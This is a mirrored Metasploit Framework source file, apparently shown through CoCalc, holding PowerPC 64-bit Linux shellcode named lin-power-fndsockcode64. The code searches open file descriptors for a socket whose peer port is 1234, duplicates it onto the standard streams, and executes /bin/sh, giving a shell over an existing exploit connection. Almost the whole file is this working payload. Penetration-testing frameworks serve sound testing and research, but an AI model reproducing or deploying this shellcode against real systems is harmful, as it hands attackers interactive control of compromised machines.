CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/lin-power-fndsockcode64.S
Views: 11765
1
/*
2
* lin-power-fndsockcode64.S
3
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
#include "linux-power.h"
22
23
.globl main
24
25
main:
26
27
fndsockcode64:
28
xor %r31,%r31,%r31
29
lil %r29,__CAL
30
31
# getpeername
32
33
stu %r31,-4(%r1)
34
mr %r28,%r1
35
cal %r27,-511+16(%r29)
36
stu %r27,-4(%r1)
37
mr %r26,%r1
38
39
stdu %r26,-8(%r1)
40
stdu %r28,-8(%r1)
41
stdu %r31,-8(%r1)
42
43
0:
44
cal %r31,511(%r31)
45
cal %r31,-511+1(%r31)
46
47
cal %r1,511(%r1)
48
cal %r1,-511+8(%r1)
49
50
stdu %r31,-8(%r1)
51
mr %r4,%r1
52
cal %r3,__NC_getpeername(%r29)
53
cal %r0,__NC_socketcall(%r29)
54
.long 0x44ffff02
55
56
cal %r25,511(%r28)
57
lhz %r25,-511+2(%r25)
58
59
cmpli 0,%r25,1234
60
bne 0b
61
62
cal %r24,-511+2(%r29)
63
64
1:
65
# dup2
66
67
mr %r4,%r24
68
mr %r3,%r31
69
cal %r0,__NC_dup2(%r29)
70
.long 0x44ffff02
71
72
ai. %r24,%r24,-1
73
bge 1b
74
75
shellcode64:
76
# lil %r31,__CAL
77
xor. %r5,%r5,%r5
78
bnel shellcode64
79
mflr %r30
80
cal %r30,511(%r30)
81
cal %r3,-511+36(%r30)
82
stb %r5,-511+43(%r30)
83
stdu %r5,-8(%r1)
84
stdu %r3,-8(%r1)
85
mr %r4,%r1
86
# cal %r0,__NC_execve(%r31)
87
cal %r0,__NC_execve(%r29)
88
.long 0x44ffff02
89
.asciz "/bin/sh"
90
91
92